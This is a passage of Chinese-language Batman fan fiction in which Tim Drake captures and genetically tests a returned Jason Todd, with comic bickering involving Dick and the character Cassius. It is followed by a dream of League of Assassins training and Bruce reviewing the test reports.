迪克很想帮弟弟说话，但此情此景，他很难昧着良心帮亲不帮理。 “为什麽要给他戴那玩意儿？” 迪克虚弱地提出最后一个问题。 提姆将一叠数据报告塞进他的怀里，同时示意他看计算机，说：“哦，这个啊，看到他的脸，我总觉得这样对他好像有点不太好，为了减轻点负罪感，只能先把他的脸遮住了。他自己的头罩接入了很高级的人工智能，我怕给他戴着让他有机会调用救援，只能随便找个东西凑合一下了。” 迪克张了张嘴，表示有话要说。 迪克把嘴闭上了，表示无话可说。 他又看了一眼刑架上的狗头人，忽然觉得提姆说的还挺有道理的。至少此刻他就能骗自己，这个人是路人甲。 然后他低头开始看手里的纸质报告。 纸页在实验室的冷光下泛着青白，纸的右上角还印着“泰坦塔生物识别中心”的文本。 他翻开标记着实验时间和实验目的的扉页，密密麻麻的数据像针一样扎进瞳孔。 第一页：DNA短串联重复串行（STR）分析 检测方法：聚合酶链式反应扩增，毛细管电泳分析 对比样本：GCPD文件库（编号：XXXX），杰森·彼得·陶德，12岁被捕时提取的口腔拭子 结果：20个常染色体STR位点完全匹配，似然比（LR）＞1x10^18 结论：样本来源于杰森·陶德为同一个人的概率为99.99999% 第二页：全基因组测序（WGS） …… 对比样本：五年前韦恩庄园杰森·陶德居室的毛发残留 结论：基因组连续性无中断，确认样本为杰森·陶德生物学本体。 第三页，第四页，第五页…… 第六页：体-液生物标记物 米青液蛋白酶联免疫吸附（ELISA）：检出PSA抗原浓度22ng/ml。Y染色体微缺失检测与STR结果一致。 线粒体溯源：母系单倍群H2a2b，与五年前希拉·海伍德遗体解剖样本匹配。 …… “如果你需要更详细的数据，可以在计算机上查看具体的数据分析过程，另外，还有一些样本正在检测中，需要一点时间……”提姆还在一旁一本正经的解释，但迪克却感觉手中这叠不算厚的报告越来越沉，沉到让自己快要拿不住。 提姆躬身在键盘上敲击：“一周前，我拿到了他的血液样本，当时已经做过对比，但当时的样本受过污染……” 迪克喃喃地说：“你一周前就知道杰森回来了？” 提姆敲击键盘的速度不减：“当时不能十分确定，毕竟从目前已知的信息，刺客联盟疑似掌握了先进的克隆技术，所以我需要一次全面的样本分析。” 说着，他将计算机屏幕微微转向，让它面对迪克：“我将所有的检测交叉验证多次，”他敲了敲屏幕上跳动的DNA双螺旋，“克隆人也无法做到这种完全重合的数据。” “生物蛋白检测是从他胯部织物残留提取的，如果你觉得有必要的话，可以进行一次完整的米青液提取……” 提姆还抱着严谨的学术态度在滔滔不绝的跟迪克说话，X型架上的人又开始剧烈挣扎起来，金属锁链刮擦地面发出刺耳的尖啸。 迪克已经听不下去了，他再也不能自欺欺人，转头两步走到刑架前，将那个狗头头罩一把撸了下来。 头罩下是他五年未曾见过的，已经长大的杰森·陶德。 男人的眼睛被愤怒和屈辱烧的通红，如果他也是氪星人，可能现在就能用热视线把整个实验室烧了。 迪克颤抖着手，把他嘴上的静电胶带撕了下来。 “口口口口口口…！” 杰森的嘴一恢复自由，就爆发出一阵震天的咆哮式辱骂。 “该死的替代品！我当时就不该心软！管你去死！我该一枪崩了你！你这个变态，罪犯，还有你！Diao头！你这个帮凶……” 迪克已经将他从刑架上放了下来。 刚一重获自由，杰森立即朝提姆冲过去，但他的脚一接触到地面，双膝一软就要跪下。迪克眼疾手快地一把托住了他。 “他怎麽了？”迪克大声问。 “只是一点肌肉松弛剂，他的劲儿太大了，我怕他挣扎的厉害，伤到自己。”提姆冷静的说。 “听到了吗？你们竟然让这种人当罗宾，老头子是瞎了眼了吗？！@#￥￥%……”杰森气的浑身发抖，又开始一连串辱骂。 他发誓，等他的力气一恢复，他绝对，绝对要把这个该死的小变态拆了扔马桶里冲走！ 但他没来得及继续输出，迪克已经狠狠将他抱在怀里。 “小翅膀！你真的是小翅膀！你回来了！我不是在做梦吧！呜呜呜呜！” 迪克哽咽着说不出话，抱着他嚎啕大哭。 杰森心中的愤怒之火被迪克源源不绝的眼泪一点点的扑灭了。 但想到自己现在还光着，那股有名之火又燃了起来。 “滚开！别把鼻涕糊我身上！”杰森恼火的使劲推迪克的头，胸口上的凉意让他忍不住一层一层的起鸡皮疙瘩，而不远处，德雷克那个死变态正目光炯炯的看着他们。 杰森顿现在四肢无力，能动的只有嘴和脑子，他的嘴正在忙，脑子也没闲着，他现在对实验品看人的眼光感到担忧。 他已经隐隐能感觉到实验品对替代品的好感度不低。他一向对别人的情绪敏感，当初在病房，他也感觉到替代品对实验品超乎寻常的在意。 杰森觉得自己任重道远。 必须把实验品爱上一个变态这种可怕的可能性消灭在萌芽时期！ 迪克还在抱着杰森呜呜呜，一边哽咽一边充满语气充满责备的问：“既然你还活着，为什麽不回来找我们，我的心都碎了你知道吗……” 提姆在一旁帮忙解释：“他应该是被困在刺客联盟了。” 杰森停下把迪克从自己身上撕下来的动作，又开始对着提姆激情开麦。 迪克在杰森的身上擦了擦眼泪，引的杰森骂人的声音都劈叉了一瞬。他转头看向提姆，问：“你怎麽知道？” 提姆指了指还在运转中的仪器，说：“你以为我为什麽要这麽谨慎？我担心他是刺客联盟利用杰森·陶德的基因克隆出来的人形武器，他是B的弱点，难道不是吗？” “滚蛋，你知道个屁！”杰森怒道。他觉得替代品就是在为自己的变态行为找借口，根本不承认这个无稽的理由。 但迪克认真想了想，觉得提姆说的有道理。 本来他还对提姆这样对待杰森有点怨言，这样一解释，他就释怀了，忍不住点了点头。 “你做的对。”迪克说。 杰森一口气没上来，差点又背过气去：“你们蛇鼠一窝，滚呐！别抱着我！恶心死了！” 提姆走上前，对迪克说：“搭把手。” 说着，他就抬起了杰森的脚。 迪克和提姆相处了够久的时间，立即明白他要做什麽，也站起来，双手从杰森腋下穿过，两人合力将人抬到实验室的体检台上。 “你们踏马的又要干什麽！”杰森现在全身上下只有嘴最有力气，只能不停地保持输出。 提姆已经拿来了他的衣服，将它递给迪克。 此刻迪克的情绪也稍微平复了一些，他接过衣服，一脸温柔的看着自己失而复得的弟弟，说：“小翅膀，哥给你穿衣服。” 杰森：…… 滚呐！ 提姆走回实验台，拿起了从刚才起，就不停在震动的手机，来电显示是卡修斯。 和他相处的这段时间，提姆觉得卡修斯有个地方跟布鲁斯还挺像的，就是喜欢睡懒觉，不过布鲁斯是因为作息问题，睡觉的时候常常天都快亮了，但卡修斯纯粹是兴趣爱好就是睡觉。所以对于这个点打电话过来，他还是有点惊讶的。 “卡修斯？怎麽了？” “想了想，我还是有点不放心，有必要提醒你一句，最近千万千万不要单独行动，现在外面坏人很多，男孩子孤身在外也要学会保护自己！” 卡修斯躺在床上，翻来覆去半天，好不容易睡着了，又被红头罩在暗巷割喉罗宾的噩梦给吓醒，然后就再也睡不着。 他二话不说，拿起电话就拨给了提姆，通信音响了好久也没人接，他这才看了看时间，淩晨5点。 哎，是自己睡迷糊了，没看时间就打电话。 刚准备挂，就听到手机接通了。提姆的声音听上去还相当清醒。 不愧是总裁啊，精力就是旺盛。 他一边感慨着，一边再次嘱咐了提姆一遍。 他电话的背景里非常嘈杂，像是有人在肉搏，还伴随着不间断的吵架（骂人？）声。 而且，那声音听上去非常熟悉。 总裁身边的人都这麽努力的吗？5点就开始上班开会互扯头花？这也太卷了吧？ 瞬间觉得曾经的996好像也不算什麽了。 “好，我知道了，现在还早，你再睡一会儿吧。” 耳机那头传来提姆温和的声音。 卡修斯刚想回答，就听到听筒那边传来一阵嘶声怒吼：“实验品！德雷克是踏马的变态啊！他杏侵我！你别被他骗了！啊！给我滚开！我自己会穿衣服！” 卡修斯：…… 什麽动静？ 第53章 老头子到底从哪儿挖出这个小怪物的？ 电话里的卡修斯沉默了一会儿，然后才迟疑地问道：“刚才……说话的是……红头罩吗？” “嗯？你听错了。”说着，提姆就准备走远点，离开实验室。 “不许走！玛德你有本事抓我，怎麽没本事承认！你给我回来！实验品！实验品！听到了吗？德雷克是个死骗子，大变态！你要是跟他在一块儿，你这辈子有了！别说兄弟我没提醒过你！啊！给我擦干净再穿！我胸上都是你的大鼻涕！……” 杰森一听到替代品的回答，就大概猜到对面问了什麽问题，而且对方还一边说一边往外走，明显就是心虚了，不敢让听筒那头的人听到自己的声音。他立即叫得更大声了，甚至一边叫一边挣扎着往提姆的位置扑，企图去抢夺他的电话。 迪克连忙抱住他，耐心地安抚。 “好好好，他不走，就在这儿打电话！提姆！”迪克回头给了自己的小弟弟一个不赞同的眼神。 杰森今天受了太多委屈，这点小小的公道他还是可以帮忙主持的。 提姆无奈地停下了脚步。 因为听筒那头的卡修斯也让他别动。 “开免提。”卡修斯在电话里命令道。 提姆只好走近杰森，又将手机的公放功能打开。 “杰森？”听筒里传来卡修斯疑惑的声音。 杰森立即回答：“是我是我！” 说完还狠狠瞪了提姆一眼，那眼神明明白白写着：你给我等着，看我怎麽给你上眼药！ “提姆，你不是说你在公司？杰森怎麽在你那儿？他不是在哥谭？你们现在到底在哪儿？” 卡修斯充满疑惑地问。 几个小时前，杰森还在哥谭对着小丑和蝙蝠侠喊打喊杀，怎麽一转眼的功夫就跑纽约去了——当然，前提是提姆没骗自己，他真的就在纽约的分公司。 提姆还没回答，杰森立即插话道：“我在泰坦塔！这个死骗子是不是骗你在公司？” 说完，他得意洋洋地看着提姆，意思是：看老子不揭穿你的谎言！ 只听电话里的卡修斯沉默了一会儿，然后问道：“你没对提姆怎麽样吧。” 杰森：…… 他愣了一会儿，才难以置信地怪叫道：“我能把他怎麽样？我刚才白说了吗？是他侵犯了我！我才是受害者！实验品！你到底有没有心！” 提姆马上接话道：“我没什麽事，你放心，迪克也在旁边，我不会出事的。” 说罢还用眼神示意了一下迪克，意思是让他吱一声。 迪克虽然不知道这跟他有什麽关系，但还是按照小弟弟的要求，吱了一声。 “Hi，卡修斯，你好呀。” 说完，他就看着提姆，示意他已经完成了分配的任务。 提姆满意地点了点头，给迪克竖了个拇指。 “所以你到底为什麽会在纽约？”卡修斯带着质疑的口气询问。 他隐约记得泰坦塔也是在纽约的。提姆骗自己在公司，他也能理解，毕竟义警的办公地点怎麽不算另一种意义上的公司呢。 真的不能怪他屁股歪，主要是罗宾，红头罩，泰坦塔，这三个关键词放一块，很容易让他联想到一些对合家欢爱好者不太友好的剧情场景。 迪克也觉得挺奇怪的，为什麽听卡修斯的语气，好像总是担心杰森会害提姆，但现实情况明明不是这样的呀。 杰森简直要被卡修斯的反应气死。 “我是被你气的，专门来这揍那个替代品打算出出气，行了吧！滚吧你们这群口口！” 这会儿迪克已经帮他把衣服穿好了，杰森的行动力也稍微的恢复了一些，至少双脚沾地不会虚弱的连路都走不动了。 提姆将他身上的武器和小道具都集中放在了实验室旁边的立柜上，杰森第一时间拿到了自己的枪，然后一转身将枪口对准了提姆。 “杰森！别冲动！” 迪克大惊失色的冲过去站在两人中央。 “Diao头你给我滚开，我要杀了这个替代品！”杰森怒气冲冲的说。 迪克全然不顾已经上膛的枪口的危险，再次冲上去抱住自己怒意盎然的弟弟，顺便将他手里的枪给卸了。 “小翅膀，冷静啊！” “杰森，别冲动！” 电话里的卡修斯也惊叫，听声音像是恨不得顺着电话线爬过来拦着他。 杰森觉得今天的自己真是诸事不顺，自己绑的那麽大一个小丑，就那麽不明不白的死了，想来揍替代品一顿出气，结果又上了这个诡计多端的死骗子的当，当他利用自己的心软俘虏了自己，遭受了一顿奇耻大辱。 “实验品，你给我等着！等我回去再找你算账！”杰森放弃告状，打算先把这个气自己的人收拾了。 电话另一头的卡修斯终于反应过来了，看杰森这个状态，不但没有揍倒提姆，说不准还吃了瘪。想到在此之前，自己还擅自杀了小丑，带入一下，很容易就想到杰森现在有多生气。 他马上认怂道：“哎，你别生气啊，我也不是故意的，只是……” 刻板印象害死人啊。 “反正你们谁受伤我都会伤心，最好你们能冰释前嫌……哎呀，你们也没什麽前嫌。最好你们能放下成见，做一对相亲相爱的好兄弟！” 说完，卡修斯自己也觉得这话说的好像有点奇怪，听上去茶茶的，自己好像古装剧那种安慰互扯头花嫔妃的渣皇帝，对缓解矛盾没有任何帮助。 果然，他的话音刚落下，杰森就怒道：“滚吧，谁跟他是兄弟？谁家会把兄弟绑在X架上？！” 嗯？ 卡修斯一听，就有点来精神了。虽然他是个魔法师，但还是阅片无数的，一听X架，他脑子里立即就有画面了。 这才想到，刚才杰森好像说，提姆杏侵了他。 虽然感觉自己不该这麽起劲，但他还是清了清嗓子，努力表现出一副感同身受的样子：“emm……这确实不太对，要不你展开说说？这样我就能帮着你一起骂他！” 杰森：…… 这件事可以算得上他的此生之耻，他不可能展开说说，这辈子都不可能！ 而且不知道为什麽，他总觉得实验品的声音听上去怎麽有隐约的兴奋感呢，一点也不像是打算帮他一起骂替代品的样子？ 也不知道是不是近朱者赤，感觉实验品似乎也走在了变态的道路上。 就在杰森再次准备开骂的时候，提姆已经适时地关掉了电话的公放功能，然后跟卡修斯简单说了两句，将这个话题揭过去后，挂掉了电话。 刚才始终没说话的迪克，将柜子上的杀伤性武器都藏起来后，才半搂着杰森，强迫他坐回了床上。 “小翅膀，我刚才就想问了，你是怎麽认识卡修斯·希尔的？”迪克看着杰森依旧洋溢着怒意的脸，问道。 听他们电话里讲话的语气，不像是刚认识的，倒像是认识了许久的样子。 杰森顿了一下，他的视线先从两人身上扫了一圈，虽然还是生气，但依旧忍不住回应了迪克，只不过并不是回答他的问题，而是反问道：“你们不是能听到他的心声，他没在心里说过吗？” 迪克惊讶的看着他：“你怎麽知道？” 虽然提姆听不到，但暂时没有反驳，只是眯了眯眼。目前韦恩庄园的成员里，好像只有自己听不到他的心声，这让他莫名的有些不爽。 反问完后，迪克马上补充了一句：“目前就布鲁斯，我，阿尔弗能听到，提姆没听到过。” 杰森愣了一下，忽然发出一阵大仇得报的哈哈大笑声，也不知道他在得意什麽。 提姆不赞同地看向迪克。 这个突如其来的消息莫名平息了杰森心中的一点怒气。 他躺回床上，又将一条腿翘在另一条腿上抖抖抖：“当然是因为我们一起扛过枪，你还想知道什麽，我可以大发慈悲地回答几个问题。” 虽然小翅膀长成了一只5尺多，近200磅的鸵鸟翅膀，但他洋洋自得的样子还是跟小时候一样可爱。 迪克欣慰的看着床上抖腿的杰森，感觉心里温暖极了。什麽卡修斯拉尔斯的，他都不想问了，只想问杰森这些年过得好不好，吃的饱不饱，有没有受委屈…… 这麽想着，他就忍不住上手，使劲揉了揉杰森的脑袋。 满足感比撸海莉的头还高。 杰森躲过他的手，用嫌弃的眼神看着他：“你那是什麽眼神，恶心死了，别摸我头！” “还有你！” 他指着想要走近的提姆说：“你别过来，我怕我忍不住揍你。” 迪克马上握住杰森伸出去的手指：“小翅膀，别责怪提姆了，他也是担心有人利用你的身份作恶。” 杰森重重的哼了一声，他斜睨了迪克一眼，不再搭理提姆。这妖孽也不知道施了什麽魔法，让身边的人都站在他这边，杰森不想跟他斗心眼，打算用拳头说话。反正以后来日方长，总有一天他要狠狠揍这个替代品一顿，以解心头之恨。 迪克没有继续提问，转而问提姆：“对了，你怎麽知道杰森今天会来” “我不知道他什麽时候会来，只知道他一定会来找罗宾。”提姆走回他的计算机和实验仪器前，一边观察着实验数据，一边回答迪克的问题。 室内一时间只有仪器运转的声音，提姆回头，看到两人正用同一种眼神看着自己，像是在问：你又是怎麽知道的？ 提姆也没有卖关子，大方地回答：“拉尔斯之前在哥谭，差点杀死我。如果这个杰森·陶德真的是他制造出来对付布鲁斯的武器，按照他的逻辑，有什麽比再杀死一个罗宾更能击垮蝙蝠侠的呢？所以，如果我是拉尔斯，一定会精心调教这件武器，然后杀死罗宾，给蝙蝠侠致命一击。” “嘁，你也太看得起你自己了。”杰森毫不犹豫的讥讽。 提姆没理会他的挑衅，接着说：“如果他是真正的杰森·陶德，5年时间，也足以改变一个人。” “呵，这你倒是没说错。”杰森吊儿郎当的继续插话。 “杰森在布鲁斯身边都没有五年，我相信刺客联盟会把他教得很好。教他杀戮，教他仇恨，他会被告知，他是被蝙蝠侠抛弃的那个，他的死亡毫无意义，而新的罗宾比他更好。” 迪克和杰森的脸色同时变了。 迪克知道，杰森就是此前活跃在哥谭的红头罩，而红头罩在哥谭血洗黑邦的行事作风，他已经从阿尔弗雷德那里听说了。 而杰森想的则是，老头子到底从哪儿挖出这麽个小怪物的？ 他跟着塔利亚的时候，她确实无时无刻在自己耳边提醒自己：蝙蝠侠又有新罗宾了，他比你听话，比你聪明，比你更受控，他们已经忘记你了…… 他知道塔利亚想要他做什麽，而他也愿意接受这种安排，因为这也是他想要的。 他以为这是他自己的选择。 而面前这个替代品则用那种令他厌恶的，看穿一切的眼神告诉他：你只是选择了别人让你做的选择。 他重来一次的人生里，充满了仇恨，晦暗和不甘，而唯一跟他同病相怜，相濡以沫的那个人，却忘了一切，站在那个夺走他一切的人身边。 “你差点就成功了，如果你没有去找卡修斯的话，我不会拿到你的血液样本，也不会意识到你可能是谁，更不会在这里专门等你。” 提姆最后说。 杰森的脸色变得更难看了，也不知道该怪卡修斯还是怪自己。 “呵，成王败寇，你抓到我了，那又怎麽样？要把我送进黑门监狱吗？还是阿卡姆？建议你最好还是毙了我，否则，你会后悔的。”杰森冷冷的说。 迪克左看看，右看看，陷入两难境地，两边都是他的弟弟，他真的不希望杰森对提姆抱有这麽大的敌意，可他自己带入杰森的角度，确实很难不怨恨提姆——当初布鲁斯让杰森成为新罗宾时，自己也气炸了，很长时间没有给过杰森好脸色。 可是在这件事里，明明他们任何一个人都没有错。 那些运转的实验仪器渐渐停止，提姆微微呼出一口气，他将头上的护目镜摘了下来，迪克这才发现，他的脸色非常憔悴，双眼下的青黑也相当明显。 “好了，全部的检查报告已经出来了。” 迪克已经完全相信他就是真正的杰森·陶德了，剩下的报告他也不关心，甚至觉得提姆有些过于谨慎。他有些担忧地看着提姆，说：“你到底多久没睡觉了？” 提姆像游魂一样，一边将身上的白大褂脱下来扔在地上，一边往泰坦塔内，泽塔信道所在的位置走去。 “我已经将杰森·陶德的全部体检报告发给了布鲁斯……” 杰森一听，立马跳起来准备拖着自己肌无力的身体冲过去咬死他。 迪克一把抱住杰森：“冷静！小翅膀，冷静！让布鲁斯看到也没什麽不好……” “我杀了你——”杰森在他身后怒吼。 “你去哪儿？”迪克问。 “我去找卡修斯睡觉，在杰森放弃杀我的念头之前，我认为只有他那里是最安全的……”提姆游魂般的声音越飘越远。 “你个诡计多端的替代品！不许去！我要切了你的迪克！Diao头你给我死开！我要回哥谭——！” 迪克虽然不知道这事儿跟卡修斯有什麽关系，但为了另一个弟弟的迪克，他只能尽力按住手里这个弟弟，一边好言安抚道：“没事，没事，他肯定只是去卡修斯那儿借宿，等你冷静下来，你也可以去那儿借宿，你们甚至可以开个电影之夜，没什麽问题是来一场电影马拉松之夜解决不了的，如果有，就再来一夜……” “你听他放屁，他为什麽不回韦恩庄园睡？”杰森咆哮道。 对啊，他为什麽不回韦恩庄园，在阿尔弗雷德眼皮子底下，就算杰森杀意再重也不敢造次。 迪克也觉得很疑惑，不过提姆已经走远了，他也不方便扯着嗓子问，但手里不是还拿着一个弟弟麽？迪克立即说：“他不回韦恩庄园，你可以回去啊？阿尔弗看到你一定会高兴的哭出来的，我已经很多年没见过他哭了。” “顺便让阿尔弗好好纠正一下你的口癖，刺客联盟的素质教育真的有待提高。” 他感觉现在的小翅膀好像离开下三路就不会说话了，这不可，真的很不可。韦恩庄园的二少爷不能这麽没有素质。 杰森：“滚呐——！” 第54章 墨菲到底是谁啊？真的好讨厌！ 卡修斯挂了电话后，又坐在床上思考了一会儿。现在的情况是，罗宾和红头罩已经在泰坦塔打过照面，这里的现实不知道发生了什麽微小的偏差，罗宾被红头罩打成重伤的情节并没有出现，反而是罗宾似乎对红头罩的出现早有准备，从而在红头罩现身的时候，直接俘虏了他。 听电话里杰森的语气，他估计还吃了不小的瘪。 不过既然迪克在现场，卡修斯认为那种兄弟之间你死我活的剧情应该不会出现了，迪克是个可靠的妈妈……呸，大哥。 既然如此，卡修斯认为自己也没什麽好担心的了。 心里的一块大石头放下，困意自然而然地来袭，他重新躺回床上，没一会儿就睡着了。今天是工作日，就算有客人来店里，也不会太早，自己刚好可以晚点开张。 这麽想着，卡修斯彻底放心地睡了过去。小丑的死亡就像飘入湖水的一片枯叶，甚至没有在他的心里泛起一丝涟漪。 自从来到这个世界后，卡修斯觉得自己的睡眠质量好像不如以前了，晚上总是多梦，但大多数时候，他是记不起自己到底梦到什麽的，只觉得大部分应该都不是什麽好梦。 这一次，他竟然意外地梦到了杰森。 他梦见拉尔斯命人将15岁的杰森从棺材里抬出来，放进了拉撒路池。池水经过长久的沉寂后，突然泛起水花，杰森痛苦地嘶吼着，从水中冒出头。 他踉跄着爬出水池，怒吼着攻击每一个挡在自己面前的人。很明显，此刻的少年是没有意识的，他像一头应激的野兽一样，试图撕扯每一个靠近他的人。但奇怪的是，即便是在理智全无的情况下，他也潜意识的只将自己的对手打昏，他不曾试图杀死任何一个人。即使那些刺客们都全副武装，对他亮着剑刃。 “再这样下去，他会死的。与其这样，当初又何必大费周章地从蝙蝠侠眼皮底下偷天换日？”塔利亚说。 卡修斯没见过塔利亚，但不知道为什麽，他就是知道，那个黑色大波浪卷，身着浅绿色旗袍的绿眸美丽女人就是塔利亚。 “你来接手，别让我失望。”拉尔斯对已经伤痕累累，再次濒死的杰森毫无兴趣，转身离开了。 “遵命，父亲。”塔利亚应了声，下达了停止攻击的命令，然后走近杰森，一记手刀将他劈晕。 拉尔斯巨大的脸忽然怼到他的面前，吓了卡修斯一跳。 “你醒了，我的孩子？” 他听到拉尔斯这样问。 这时候，卡修斯才察觉出一些异样。他听这些人说话的声音都闷闷的，像是耳朵进水了似的，而他眼前的这些场景画面，都像是隔着一块绿色的蒙版。 他抬起手，试图触碰拉尔斯，可碰到的却是一块湿滑的玻璃。 “他也许可以成为重塑侦探作品的第一滴血。” 他听到拉尔斯这样说。 什麽？什麽第一滴血？ 卡修斯完全不懂他在说什麽。 “我知道了，父亲。” 在他身后的塔利亚垂眸答道。 场景切换，他视线前的绿色蒙版消失了。他看到有人拿着注射器，蒙着面走近他，他想挣扎，但他的手脚上都是束缚带，连头也抬不起来——脖子上也有限制他行动的束缚带。 他的惊惧达到了顶点，但这毫无用处，有人将他翻了过来，他感到脊柱一阵刺痛，接着就失去了意识。 等他再次恢复意识的时候，双手正拿着武器，而面前站着的，正是已经养好伤的杰森。 卡修斯觉得自己的意识分成了两块，有一部分知道，面前的人就是杰森·陶德，另一部分好像还很懵懂，根本不知道对面的人是谁。 “CS-02，从今天起，你们需要一起训练，你的第一课就是，如何从他手里活下来。” 站在一边的塔利亚说。 接着，她转向杰森，对他说：“而你也需要重新学习，你的第一课就是，杀死他。” “开始吧。” 杰森好像根本不知道自己在做什麽，听到塔利亚的命令，立刻举着匕首朝着自己冲过来。 而他自己则完全不知道该怎样面对一个手拿凶器，企图杀死他的人。 他只能拼命的奔跑。但他又怎麽跑得过受过蝙蝠侠训练的杰森呢？ 很快，他就被杰森压在身下。 杰森举着匕首，居高临下的看着他。 “不……求你……” 他听到自己开口了。 杰森的刀迟迟没有落下，他的脸上尽是一片茫然。 这时，塔利亚走到了他身边。她站在杰森身后，微微躬身，握住了杰森手中，握着匕首的手。 卡修斯看的出，杰森本能地在用自己的力量和塔利亚施加给他的力量抗衡。 但匕首还是慢慢落了下来。 卡修斯觉得这个噩梦应该算是自己做过的所有噩梦里，最恐怖的那个。 他甚至觉得，这和自己遭遇空难时的感觉一模一样，那种知道自己必死无疑，绝望地等待死期的感觉。 “噗……” 刀尖刺破了他的胸口。 “你看，杀死一个人就是这麽简单。” 他听到塔利亚这样说。 卡修斯睁大的眼睛缓缓闭上。 他的脸上落下一滴雨水。 可是地下岩洞也会下雨吗？ 心脏的压迫感让他长长抽了口气，倏地坐了起来。 “做噩梦了吗？” 有个声音在耳边响起。 “啊！” 卡修斯吓地连滚两圈，要不是有人及时拉住他，他肯定会和地板来个亲密接触。 等一下，谁拉的他？又是谁在说话？ 他抬眼望过去，就看到正穿着睡裤，但果着上半身的提姆·德雷克正躺在自己的床上。 “我一定还在做梦。” 卡修斯喃喃说了一声，然后又躺了回去。 刚闭上眼没两秒，又猛地张开。 他倏地转过头。 “你怎麽在我床上……不对，你怎麽进来的？！” 卡修斯坐起来，大惊失色。 提姆困倦地将被卡修斯抓在手里的被单扯过来盖住自己。 “你住院的时候，这家店的一应事宜都是我处理的，我帮你换了锁，我有钥匙。” 哦对，现在提姆·德雷克-韦恩还是这家店最大的投资人，连这张睡上去就不想起来的床，据（阿尔弗雷德）说，也是提摩西少爷亲自挑的呢。 他挑的床，他自己睡一睡不是很合理吗？ 合理个屁啊！ 卡修斯使劲把人撸起来：“你给我起来！要睡回你自己家睡！” 提姆仿佛跟床融为了一体，在床上滚来滚去，就是不受力。而卡修斯顾及他床单下半果的身体，也不敢使劲扒拉他。 “我刚把杰森的全部体检报告发给布鲁斯，现在回去肯定会被他逮住拷问，我已经36小时没合眼了，让我在你这儿睡一会儿吧。” 提姆闭着眼，似乎连嘴都不愿张开了，说话像是含着颗橄榄。 “你没有别的住处了吗？为什麽要来我这儿睡啊？”卡修斯难以置信的看着躺在自己床上耍赖的人。 “在杰森放弃追杀我之前，别的地方都没你这儿安全，只有在这儿我才能安心睡个好觉。”提姆越说声音越小。 “谁说的啊？刚才他在梦里还……” 他话说了一半，声音戛然而止。 梦里怎麽了？ 被提姆这样一吓，他彻底忘了刚才梦到什麽，只隐约记得自己好像梦到了杰森，而且还是个噩梦。 但卡修斯有个最大的优点就是从不内耗，更不会为一个想不起来的噩梦内耗，所以他立即将做梦的事抛之脑后。 “嗳，你到底给他做了什麽检查？为什麽不敢回去啊？” “DNA，全基因组测序，指纹，声纹，虹膜，生物标记物……”说着说着，他就彻底没了声音。 卡修斯想了想，这相当于把杰森从头发丝儿到脚皮都撸一遍，怪不得杰森在电话里一副破大防的样子。 杰森这次确实在提姆手上吃了大亏。 现在这情况看来，提姆没被打成重伤，倒是杰森的心灵受到了巨大的伤害。 很难判定这是不是一个好的改变，但目前看来，好像对改善他们兄弟关系没有任何帮助啊。 其实卡修斯还想问提姆，知不知道布鲁斯能听到他心声的事，但他的呼吸声已经变得缓慢均匀。 卡修斯看了看他眼下的青黑，最终还是没忍心再把人叫醒。 算了，等他醒了再问吧。总之，再次之前，自己尽量和布鲁斯保持距离就好了。 这间店铺被提姆简单装修过，原本他的生活区和工作区仅用一个大书架用来做隔断，提姆直接帮他砌了一面墙，将这两个局域直接隔离开。 卡修斯怀疑，他当初砌这面墙的目的就是为了方便自己留宿。 真是太有心机了！ 卡修斯对着提姆已经熟睡的脸，虚挥了几拳，然后下床，简短洗漱一番，轻手轻脚离开了房间，顺便帮他将门关好。 今天算是“命运纺车”重新开业以来，第一天营业，卡修斯依次拜了拜放在店里的招财猫和关公爷，准备开张。 * 因为小丑的死，蝙蝠侠又是一晚没睡。清晨，阿尔弗雷德端着早餐进入蝙蝠洞，走近主控台，就看到主控几个大屏幕上分别显示着多份报告。 他抬头只扫了一眼，就惊讶的差点打翻了手中的餐盘。 虹膜拓扑成像 左眼虹膜纹路：匹配蝙蝠洞加密数据库（访问权限：便士一/蝙蝠侠/罗宾/夜翼/神谕） 注：虹膜色素中检测出拉撒路池残留，作用未知。 指纹形态学分析 右手食指：与罗宾制服保养记录（5年前）留存油墨指纹吻合 添加瘢痕：虎口处检出硫磺火药颗粒。 声纹图谱鉴定 样本来源：泰坦塔监控音频（入侵时辱骂记录） 基频特征：128Hz±3Hz，与蝙蝠洞留存录像（编号：XXX）一致 …… “这是……” 阿尔弗雷德发现，自己开口的时候，声音竟然有些颤抖。 “红头罩昨晚应该入侵了泰坦塔。”布鲁斯的声音带着疲惫的沙哑，但只简单一句，阿尔弗雷德就大致明白了事情的走向。 “这是提姆少爷发来的？他在泰坦塔捕获了杰森少爷？”阿尔弗雷德问。 布鲁斯点了点头。 “看来提姆少爷的侦查能力已经远远超过您。竟然能未卜先知。”阿尔弗雷德强行按捺住自己激动的心绪，像往常一样语调轻松的说。他知道，布鲁斯绝不像他表现出来的那样平静。 “他比我更早知道了红头罩就是杰森。”布鲁斯说。 阿尔弗没说话，静静等着他继续说。 “自从康纳……”他停顿了一下，才接着说道：“他很少回到泰坦塔。一周前，他特意申请了纽约的出差任务，想必他就是那个时候知道红头罩的身份的。” 但是他却保守秘密，选择独自去泰坦塔设伏。 “事实证明，提姆少爷的能力已经足以处理这种程度的复杂事件。”阿尔弗雷德说。 “杰森和以前完全不一样了，提姆早就料到，杰森会去报复他。” 虽然布鲁斯的声调很平静，但阿尔弗依然能听到他语气中的苦涩。 “也许事情并不像你想的那麽糟……”阿尔弗正在思考措辞安慰自己的少爷，就听到布鲁斯的通信器响起。 他本不想接的，但看了一眼，是迪克，于是还是接起了通信。 “B，提姆发的报告你看了吗？”迪克开门见山道。 布鲁斯小小惊讶了一下。 “怎麽？” “我刚从泰坦塔回到布鲁德海文……” “杰森呢？”布鲁斯直接问道。 “我请了一天的假，现在杰森正跟我在一起。呃……我是趁他去上厕所的时候打给你的，长话短说，杰森目前很抗拒和‘回归家庭’相关的任何话题，我想方设法总算让他答应先在布鲁德海文陪我两天，小丑不是越狱了吗？我怀疑就是他劫持的，你尽快……” 还没说完，布鲁斯就打断了他：“小丑已经死了。” “What？”迪克没控制住自己的声音，一下子喊了出来，随后又刻意压低声音问：“不会是……” “不是杰森。”布鲁斯说。 迪克悄悄松了口气，也不打算继续问下去，显然，通信里并不是询问这件事的好地方，他只能说：“对了，卡修斯·希尔，杰森和他关系匪浅，我觉得如果想弄明白杰森在刺客联盟到底发生了什麽，你最好还是去他那里探一下消息。” 他本想告诉布鲁斯，提姆这会儿应该也在卡修斯那儿，但杰森已经迎着他走来了，他只能立即挂了电话。 通信结束后，布鲁斯沉默了一会儿，阿尔弗雷德问：“需要我替您准备一些手信吗？卡修斯先生的店铺新开业，我们理应正式造访。” 